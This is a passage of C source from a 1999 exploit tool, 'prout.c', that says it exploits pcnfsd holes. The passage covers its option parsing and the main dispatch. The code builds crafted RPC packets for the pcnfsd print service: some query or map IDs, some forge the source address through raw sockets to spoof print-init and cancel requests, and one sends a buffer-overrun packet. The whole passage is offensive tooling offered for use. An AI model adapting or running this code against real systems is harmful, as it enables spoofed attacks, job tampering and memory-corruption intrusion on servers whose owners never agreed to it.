        case 'p':
          if ((argc-optind)!=2) option(argv[0]);
          lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
          flag=1;
          break;
        case 'w':
          if ((argc-optind)!=2) option(argv[0]);
          lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
          flag=2;
          break;
        case 'a':
          if ((argc-optind)!=4) option(argv[0]);
          lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
          flag=3;
          break;
        case 'u':
          if ((argc-optind)!=4) option(argv[0]);
          lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
          flag=4;
          break;
        case 'f':
          switch((char)*(optarg))
            {
            case 'l':
              if ((argc-optind)!=3) option(argv[0]);
              lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
              flag=5;
              break;

            case 's':
              if ((argc-optind)!=5) option(argv[0]);
              lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
                        LEN_HDR_PCN_INIT;
              flag=6;
              break;

            default:
              option(argv[0]);
              break;				// NOTREACHED
            }

          break;
        case 'c':
          if ((argc-optind)!=7) option(argv[0]);
          lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
                    LEN_HDR_PCN_CANCEL;
          flag=7;
          break;
        case 'o':
          if ((argc-optind)!=4) option(argv[0]);
          lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
                    LEN_HDR_PCN_CANCEL;
          flag=8;
          break;
        case 'i':
          fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
          fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
          exit(0);
        case 's':
          fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
          fprintf(stderr, "gcc version 2.7.2\n");
          exit(0);
        case 'v':
          verbose++;
          break;
        case 'h':
          option(argv[0]);
        default:
          usage(argv[0]);
          break;				// NOTREACHED
        }

    }

  if (!flag) usage(argv[0]);

  if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) )
    {
      fprintf(stderr, "I am not god.. I cannot create a raw packet without "
              "(e)uid 0\n");
      exit(1);
    }

  if (!(packet=malloc(lenpacket)))
    {
      fprintf(stderr, "malloc() failed\n");
      exit(1);
    }
  memset(packet, 0, lenpacket);

  switch(flag)
    {
    case 1:
      if (make_pcnfsd_PRLIST(packet, lenpacket,
                             resolve_host_name(argv[optind]),
                             strtol(argv[optind+1], (char **)NULL, 0))<0)
        fprintf(stderr, "error (PRLIST packet)\n");
      break;

    case 2:
      if (make_pcnfsd_PRINFO(packet, lenpacket,
                             resolve_host_name(argv[optind]),
                             strtol(argv[optind+1], (char **)NULL, 0))<0)
        fprintf(stderr, "error (PRINFO packet)\n");
      break;

    case 3:
      if (make_pcnfsd_PRAUTH(packet, lenpacket,
                             resolve_host_name(argv[optind]),
                             strtol(argv[optind+1], (char **)NULL, 0),
                             argv[optind+2], argv[optind+3])<0)
        fprintf(stderr, "error (PRAUTH packet)\n");
      break;

    case 4:
      if (strtol(argv[optind+2], (char **)NULL, 0) >
          strtol(argv[optind+3], (char **)NULL, 0))
        {
          fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
          free(packet);
          exit(0);
        }

      if (make_pcnfsd_PRMAPID(packet, lenpacket,
                              resolve_host_name(argv[optind]),
                              strtol(argv[optind+1], (char **)NULL, 0),
                              strtol(argv[optind+2], (char **)NULL, 0),
                              strtol(argv[optind+3], (char **)NULL, 0))<0)
        fprintf(stderr, "error (PRMAPID packet)\n");
      break;

    case 5:
      if (make_pcnfsd_local_PRINIT(packet, lenpacket,
                                   resolve_host_name(argv[optind]),
                                   strtol(argv[optind+1], (char **)NULL, 0),
                                   argv[optind+2])<0)
        fprintf(stderr,"error (local PRINIT packet)\n");
      break;

    case 6:
      if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
                                   resolve_host_name(argv[optind]),
                                   strtol(argv[optind+1], (char **)NULL, 0),
                                   resolve_host_name(argv[optind+2]),
                                   strtol(argv[optind+3], (char **)NULL, 0),
                                   argv[optind+4])<0)
        fprintf(stderr,"error (forged PRINIT packet)\n");
      break;

    case 7:
      if (make_pcnfsd_PRCANCEL(packet, lenpacket,
                               resolve_host_name(argv[optind]),
                               strtol(argv[optind+1], (char **)NULL, 0),
                               resolve_host_name(argv[optind+2]),
                               strtol(argv[optind+3], (char **)NULL, 0),
                               argv[optind+4],
                               argv[optind+5],
                               argv[optind+6])<0)
        fprintf(stderr,"error (forged PRCANCEL packet)\n");
      break;


    case 8:
      if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
                                 resolve_host_name(argv[optind]),
                                 strtol(argv[optind+1], (char **)NULL,0),
                                 resolve_host_name(argv[optind+2]),
                                 strtol(argv[optind+3], (char **)NULL,0))<0)
        fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
      break;

    }
  free(packet);
}
/*                   www.hack.co.za              [1999]*/